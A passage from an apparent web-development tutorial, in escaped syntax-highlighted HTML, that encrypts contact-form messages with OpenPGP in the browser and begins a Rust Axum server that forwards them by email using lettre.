&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-ts&quot;&gt;&lt;span class=&quot;z-meta z-arrow z-ts&quot;&gt;&lt;span class=&quot;z-meta z-block z-ts&quot;&gt;&lt;span class=&quot;z-meta z-var z-expr z-ts&quot;&gt;&lt;span class=&quot;z-meta z-objectliteral z-ts&quot;&gt;    &lt;span class=&quot;z-meta z-object z-member z-ts&quot;&gt;&lt;span class=&quot;z-meta z-object-literal z-key z-ts&quot;&gt;message&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-object z-member z-ts&quot;&gt;&lt;span class=&quot;z-meta z-object-literal z-key z-ts&quot;&gt;&lt;span class=&quot;z-punctuation z-separator z-key-value z-ts&quot;&gt;:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt; &lt;span class=&quot;z-variable z-other z-readwrite z-ts&quot;&gt;pgpMessage&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-separator z-comma z-ts&quot;&gt;,&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-ts&quot;&gt;&lt;span class=&quot;z-meta z-arrow z-ts&quot;&gt;&lt;span class=&quot;z-meta z-block z-ts&quot;&gt;&lt;span class=&quot;z-meta z-var z-expr z-ts&quot;&gt;&lt;span class=&quot;z-meta z-objectliteral z-ts&quot;&gt;    &lt;span class=&quot;z-meta z-object z-member z-ts&quot;&gt;&lt;span class=&quot;z-meta z-object-literal z-key z-ts&quot;&gt;encryptionKeys&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-object z-member z-ts&quot;&gt;&lt;span class=&quot;z-meta z-object-literal z-key z-ts&quot;&gt;&lt;span class=&quot;z-punctuation z-separator z-key-value z-ts&quot;&gt;:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt; &lt;span class=&quot;z-variable z-other z-readwrite z-ts&quot;&gt;pubKey&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-separator z-comma z-ts&quot;&gt;,&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-ts&quot;&gt;&lt;span class=&quot;z-meta z-arrow z-ts&quot;&gt;&lt;span class=&quot;z-meta z-block z-ts&quot;&gt;&lt;span class=&quot;z-meta z-var z-expr z-ts&quot;&gt;&lt;span class=&quot;z-meta z-objectliteral z-ts&quot;&gt;  &lt;span class=&quot;z-punctuation z-definition z-block z-ts&quot;&gt;}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-brace z-round z-ts&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-terminator z-statement z-ts&quot;&gt;;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-ts&quot;&gt;&lt;span class=&quot;z-meta z-arrow z-ts&quot;&gt;&lt;span class=&quot;z-meta z-block z-ts&quot;&gt;  &lt;span class=&quot;z-meta z-function-call z-ts&quot;&gt;&lt;span class=&quot;z-support z-class z-console z-ts&quot;&gt;console&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-accessor z-ts&quot;&gt;.&lt;&#x2F;span&gt;&lt;span class=&quot;z-support z-function z-console z-ts&quot;&gt;log&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-brace z-round z-ts&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-variable z-other z-readwrite z-ts&quot;&gt;encryptedMessage&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-brace z-round z-ts&quot;&gt;)&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-terminator z-statement z-ts&quot;&gt;;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-ts&quot;&gt;&lt;span class=&quot;z-meta z-arrow z-ts&quot;&gt;&lt;span class=&quot;z-meta z-block z-ts&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-block z-ts&quot;&gt;}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-brace z-round z-ts&quot;&gt;)&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-terminator z-statement z-ts&quot;&gt;;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;After submitting the form, the encrypted message is displayed in our web browser’s console:&lt;&#x2F;p&gt;
&lt;div class=&quot;crt scanlines&quot; aria-hidden=&quot;true&quot;&gt;
	&lt;pre class=&quot;z-code&quot;&gt;&lt;code&gt;&lt;span class=&quot;z-text z-plain&quot;&gt;-----BEGIN PGP MESSAGE-----
&lt;&#x2F;span&gt;&lt;span class=&quot;z-text z-plain&quot;&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-text z-plain&quot;&gt;wV4DF3pgcgpEwCMSAQdAqpyykstftEs2KlH8UlPCaG7bf6vLNOnHKFoDBVHT
&lt;&#x2F;span&gt;&lt;span class=&quot;z-text z-plain&quot;&gt;[...]
&lt;&#x2F;span&gt;&lt;span class=&quot;z-text z-plain&quot;&gt;-----END PGP MESSAGE-----
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;

&lt;&#x2F;div&gt;
&lt;p&gt;This is the final message we want to send, encrypted using my public key. It’s impossible to decipher except with access to the corresponding private key, or by breaking the encryption somehow which is &lt;strong&gt;not considered possible&lt;&#x2F;strong&gt; as of today.&lt;&#x2F;p&gt;
&lt;h1 id=&quot;message-handling-on-the-server-side-with-axum&quot;&gt;Message handling on the server-side with Axum&lt;&#x2F;h1&gt;
&lt;p&gt;We now have the browser part of the problem resolved: we can get a user message from a form, and encrypt it with a supplied OpenPGP public key. We now need to &lt;strong&gt;send this message as an email&lt;&#x2F;strong&gt;, to my email address.&lt;&#x2F;p&gt;
&lt;p&gt;We’ll use &lt;strong&gt;Axum&lt;&#x2F;strong&gt;, one of the current &lt;a href=&quot;https:&#x2F;&#x2F;www.arewewebyet.org&#x2F;&quot;&gt;Are We Web Yet?&lt;&#x2F;a&gt; recommended web frameworks for Rust, to handle this on the server-side. We’ll also use &lt;a href=&quot;https:&#x2F;&#x2F;docs.rs&#x2F;lettre&#x2F;latest&#x2F;lettre&#x2F;&quot;&gt;lettre&lt;&#x2F;a&gt;, a crate for sending emails through SMTP, along with &lt;a href=&quot;https:&#x2F;&#x2F;serde.rs&#x2F;&quot;&gt;serde&lt;&#x2F;a&gt; to serialize and deserialize data. Doing:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;cmd&quot; class=&quot;language-cmd z-code&quot;&gt;&lt;code class=&quot;language-cmd&quot; data-lang=&quot;cmd&quot;&gt;&lt;span class=&quot;z-source z-dosbatch&quot;&gt;cargo new axum-backend
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-dosbatch&quot;&gt;cargo add axum
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-dosbatch&quot;&gt;cargo add tokio -F full
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-dosbatch&quot;&gt;cargo add lettre
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-dosbatch&quot;&gt;cargo add serde
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;…leaves us with an initialized Rust project and the dependencies added. We’ll then go from &lt;a href=&quot;https:&#x2F;&#x2F;docs.rs&#x2F;axum&#x2F;latest&#x2F;axum&#x2F;&quot;&gt;Axum’s quickstart snippet&lt;&#x2F;a&gt; and adapt it to our needs, namely:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;Creating a POST route to receive the PGP-encrypted message from the contact form&lt;&#x2F;li&gt;
&lt;li&gt;Doing some input validation&lt;&#x2F;li&gt;
&lt;li&gt;Sending the PGP-encrypted message through SMTP to my email address&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust z-code&quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;&lt;span class=&quot;z-source z-rust&quot;&gt;&lt;span class=&quot;z-comment z-line z-double-slash z-rust&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-comment z-rust&quot;&gt;&#x2F;&#x2F;&lt;&#x2F;span&gt; src&#x2F;main.rs
&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-rust&quot;&gt;&lt;span class=&quot;z-keyword z-other z-rust&quot;&gt;use&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-path z-rust&quot;&gt;axum&lt;span class=&quot;z-punctuation z-accessor z-rust&quot;&gt;::&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;Json&lt;span class=&quot;z-punctuation z-terminator z-rust&quot;&gt;;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-rust&quot;&gt;&lt;span class=&quot;z-keyword z-other z-rust&quot;&gt;use&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-path z-rust&quot;&gt;axum&lt;span class=&quot;z-punctuation z-accessor z-rust&quot;&gt;::&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-block z-rust&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-block z-begin z-rust&quot;&gt;{&lt;&#x2F;span&gt;Router&lt;span class=&quot;z-punctuation z-separator z-rust&quot;&gt;,&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-path z-rust&quot;&gt;http&lt;span class=&quot;z-punctuation z-accessor z-rust&quot;&gt;::&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;StatusCode&lt;span class=&quot;z-punctuation z-separator z-rust&quot;&gt;,&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-path z-rust&quot;&gt;routing&lt;span class=&quot;z-punctuation z-accessor z-rust&quot;&gt;::&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;post&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-block z-rust&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-block z-end z-rust&quot;&gt;}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-terminator z-rust&quot;&gt;;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-rust&quot;&gt;&lt;span class=&quot;z-keyword z-other z-rust&quot;&gt;use&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-path z-rust&quot;&gt;lettre&lt;span class=&quot;z-punctuation z-accessor z-rust&quot;&gt;::&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-path z-rust&quot;&gt;message&lt;span class=&quot;z-punctuation z-accessor z-rust&quot;&gt;::&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-block z-rust&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-block z-begin z-rust&quot;&gt;{&lt;&#x2F;span&gt;Message&lt;span class=&quot;z-punctuation z-separator z-rust&quot;&gt;,&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-path z-rust&quot;&gt;header&lt;span class=&quot;z-punctuation z-accessor z-rust&quot;&gt;::&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;ContentType&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-block z-rust&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-block z-end z-rust&quot;&gt;}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-terminator z-rust&quot;&gt;;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-rust&quot;&gt;&lt;span class=&quot;z-keyword z-other z-rust&quot;&gt;use&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-path z-rust&quot;&gt;lettre&lt;span class=&quot;z-punctuation z-accessor z-rust&quot;&gt;::&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-path z-rust&quot;&gt;transport&lt;span class=&quot;z-punctuation z-accessor z-rust&quot;&gt;::&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-path z-rust&quot;&gt;smtp&lt;span class=&quot;z-punctuation z-accessor z-rust&quot;&gt;::&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-path z-rust&quot;&gt;authentication&lt;span class=&quot;z-punctuation z-accessor z-rust&quot;&gt;::&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;Credentials&lt;span class=&quot;z-punctuation z-terminator z-rust&quot;&gt;;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-rust&quot;&gt;&lt;span class=&quot;z-keyword z-other z-rust&quot;&gt;use&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-path z-rust&quot;&gt;lettre&lt;span class=&quot;z-punctuation z-accessor z-rust&quot;&gt;::&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-block z-rust&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-block z-begin z-rust&quot;&gt;{&lt;&#x2F;span&gt;SmtpTransport&lt;span class=&quot;z-punctuation z-separator z-rust&quot;&gt;,&lt;&#x2F;span&gt; Transport&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-block z-rust&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-block z-end z-rust&quot;&gt;}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-terminator z-rust&quot;&gt;;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-rust&quot;&gt;&lt;span class=&quot;z-keyword z-other z-rust&quot;&gt;use&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-path z-rust&quot;&gt;serde&lt;span class=&quot;z-punctuation z-accessor z-rust&quot;&gt;::&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;Deserialize&lt;span class=&quot;z-punctuation z-terminator z-rust&quot;&gt;;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-rust&quot;&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-rust&quot;&gt;&lt;span class=&quot;z-meta z-annotation z-rust&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-annotation z-rust&quot;&gt;#&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-group z-begin z-rust&quot;&gt;[&lt;&#x2F;span&gt;&lt;span class=&quot;z-variable z-annotation z-rust&quot;&gt;derive&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-annotation z-parameters z-rust&quot;&gt;&lt;span class=&quot;z-meta z-group z-rust&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-group z-begin z-rust&quot;&gt;(&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-annotation z-parameters z-rust&quot;&gt;&lt;span class=&quot;z-meta z-group z-rust&quot;&gt;Deserialize&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-annotation z-parameters z-rust&quot;&gt;&lt;span class=&quot;z-meta z-group z-rust&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-group z-end z-rust&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-group z-end z-rust&quot;&gt;]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-rust&quot;&gt;&lt;span class=&quot;z-meta z-struct z-rust&quot;&gt;&lt;span class=&quot;z-storage z-type z-struct z-rust&quot;&gt;struct&lt;&#x2F;span&gt; &lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-struct z-rust&quot;&gt;&lt;span class=&quot;z-entity z-name z-struct z-rust&quot;&gt;Submission&lt;&#x2F;span&gt; &lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-struct z-rust&quot;&gt;&lt;span class=&quot;z-meta z-block z-rust&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-block z-begin z-rust&quot;&gt;{&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-rust&quot;&gt;&lt;span class=&quot;z-meta z-struct z-rust&quot;&gt;&lt;span class=&quot;z-meta z-block z-rust&quot;&gt;    &lt;span class=&quot;z-variable z-other z-member z-rust&quot;&gt;reply_to&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-separator z-type z-rust&quot;&gt;:&lt;&#x2F;span&gt; String,
&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-rust&quot;&gt;&lt;span class=&quot;z-meta z-struct z-rust&quot;&gt;&lt;span class=&quot;z-meta z-block z-rust&quot;&gt;    &lt;span class=&quot;z-variable z-other z-member z-rust&quot;&gt;pgp_message&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-separator z-type z-rust&quot;&gt;:&lt;&#x2F;span&gt; String,
&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-rust&quot;&gt;&lt;span class=&quot;z-meta z-struct z-rust&quot;&gt;&lt;span class=&quot;z-meta z-block z-rust&quot;&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-block z-rust&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-block z-end z-rust&quot;&gt;}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-rust&quot;&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-rust&quot;&gt;&lt;span class=&quot;z-meta z-annotation z-rust&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-annotation z-rust&quot;&gt;#&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-group z-begin z-rust&quot;&gt;[&lt;&#x2F;span&gt;&lt;span class=&quot;z-variable z-annotation z-rust&quot;&gt;tokio&lt;&#x2F;span&gt;::&lt;span class=&quot;z-variable z-annotation z-rust&quot;&gt;main&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-group z-end z-rust&quot;&gt;]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-rust&quot;&gt;async &lt;span class=&quot;z-meta z-function z-rust&quot;&gt;&lt;span class=&quot;z-meta z-function z-rust&quot;&gt;&lt;span class=&quot;z-storage z-type z-function z-rust&quot;&gt;fn&lt;&#x2F;span&gt; &lt;&#x2F;span&gt;&lt;span class=&quot;z-entity z-name z-function z-rust&quot;&gt;main&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function z-rust&quot;&gt;&lt;span class=&quot;z-meta z-function z-parameters z-rust&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-parameters z-begin z-rust&quot;&gt;(&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function z-rust&quot;&gt;&lt;span class=&quot;z-meta z-function z-parameters z-rust&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-parameters z-end z-rust&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function z-rust&quot;&gt; &lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function z-rust&quot;&gt;&lt;span class=&quot;z-meta z-block z-rust&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-block z-begin z-rust&quot;&gt;{&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-rust&quot;&gt;&lt;span class=&quot;z-meta z-function z-rust&quot;&gt;&lt;span class=&quot;z-meta z-block z-rust&quot;&gt;    &lt;span class=&quot;z-comment z-line z-double-slash z-rust&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-comment z-rust&quot;&gt;&#x2F;&#x2F;&lt;&#x2F;span&gt; create our app router
&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-rust&quot;&gt;&lt;span class=&quot;z-meta z-function z-rust&quot;&gt;&lt;span class=&quot;z-meta z-block z-rust&quot;&gt;    &lt;span class=&quot;z-storage z-type z-rust&quot;&gt;let&lt;&#x2F;span&gt; app &lt;span class=&quot;z-keyword z-operator z-assignment z-rust&quot;&gt;=&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-path z-rust&quot;&gt;Router&lt;span class=&quot;z-punctuation z-accessor z-rust&quot;&gt;::&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;new&lt;span class=&quot;z-meta z-group z-rust&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-group z-begin z-rust&quot;&gt;(&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-group z-rust&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-group z-end z-rust&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-accessor z-dot z-rust&quot;&gt;.&lt;&#x2F;span&gt;&lt;span class=&quot;z-support z-function z-rust&quot;&gt;route&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-group z-rust&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-group z-begin z-rust&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-string z-quoted z-double z-rust&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-begin z-rust&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&#x2F;pgp&lt;span class=&quot;z-punctuation z-definition z-string z-end z-rust&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-separator z-rust&quot;&gt;,&lt;&#x2F;span&gt; &lt;span class=&quot;z-support z-function z-rust&quot;&gt;post&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-group z-rust&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-group z-begin z-rust&quot;&gt;(&lt;&#x2F;span&gt;post_pgp_message&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-group z-rust&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-group z-end z-rust&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-group z-rust&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-group z-end z-rust&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-terminator z-rust&quot;&gt;;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-rust&quot;&gt;&lt;span class=&quot;z-meta z-function z-rust&quot;&gt;&lt;span class=&quot;z-meta z-block z-rust&quot;&gt;
&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-rust&quot;&gt;&lt;span class=&quot;z-meta z-function z-rust&quot;&gt;&lt;span class=&quot;z-meta z-block z-rust&quot;&gt;    &lt;span class=&quot;z-comment z-line z-double-slash z-rust&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-comment z-rust&quot;&gt;&#x2F;&#x2F;&lt;&#x2F;span&gt; run our app with hyper, listening locally on port 3000
&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-rust&quot;&gt;&lt;span class=&quot;z-meta z-function z-rust&quot;&gt;&lt;span class=&quot;z-meta z-block z-rust&quot;&gt;    &lt;span class=&quot;z-storage z-type z-rust&quot;&gt;let&lt;&#x2F;span&gt; listener &lt;span class=&quot;z-keyword z-operator z-assignment z-rust&quot;&gt;=&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-path z-rust&quot;&gt;tokio&lt;span class=&quot;z-punctuation z-accessor z-rust&quot;&gt;::&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-path z-rust&quot;&gt;net&lt;span class=&quot;z-punctuation z-accessor z-rust&quot;&gt;::&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-path z-rust&quot;&gt;TcpListener&lt;span class=&quot;z-punctuation z-accessor z-rust&quot;&gt;::&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;bind&lt;span class=&quot;z-meta z-group z-rust&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-group z-begin z-rust&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-string z-quoted z-double z-rust&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-begin z-rust&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;127.0.0.1:3000&lt;span class=&quot;z-punctuation z-definition z-string z-end z-rust&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-group z-rust&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-group z-end z-rust&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-rust&quot;&gt;&lt;span class=&quot;z-meta z-function z-rust&quot;&gt;&lt;span class=&quot;z-meta z-block z-rust&quot;&gt;        &lt;span class=&quot;z-punctuation z-accessor z-dot z-rust&quot;&gt;.&lt;&#x2F;span&gt;await
&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-rust&quot;&gt;&lt;span class=&quot;z-meta z-function z-rust&quot;&gt;&lt;span class=&quot;z-meta z-block z-rust&quot;&gt;        &lt;span class=&quot;z-punctuation z-accessor z-dot z-rust&quot;&gt;.&lt;&#x2F;span&gt;&lt;span class=&quot;z-support z-function z-rust&quot;&gt;unwrap&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-group z-rust&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-group z-begin z-rust&quot;&gt;(&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-group z-rust&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-group z-end z-rust&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-terminator z-rust&quot;&gt;;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-rust&quot;&gt;&lt;span class=&quot;z-meta z-function z-rust&quot;&gt;&lt;span class=&quot;z-meta z-block z-rust&quot;&gt;    &lt;span class=&quot;z-meta z-path z-rust&quot;&gt;axum&lt;span class=&quot;z-punctuation z-accessor z-rust&quot;&gt;::&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;serve&lt;span class=&quot;z-meta z-group z-rust&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-group z-begin z-rust&quot;&gt;(&lt;&#x2F;span&gt;listener&lt;span class=&quot;z-punctuation z-separator z-rust&quot;&gt;,&lt;&#x2F;span&gt; app&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-group z-rust&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-group z-end z-rust&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-accessor z-dot z-rust&quot;&gt;.&lt;&#x2F;span&gt;await&lt;span class=&quot;z-punctuation z-accessor z-dot z-rust&quot;&gt;.&lt;&#x2F;span&gt;&lt;span class=&quot;z-support z-function z-rust&quot;&gt;unwrap&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-group z-rust&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-group z-begin z-rust&quot;&gt;(&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-group z-rust&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-group z-end z-rust&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-terminator z-rust&quot;&gt;;&lt;&#x2F;span&gt;
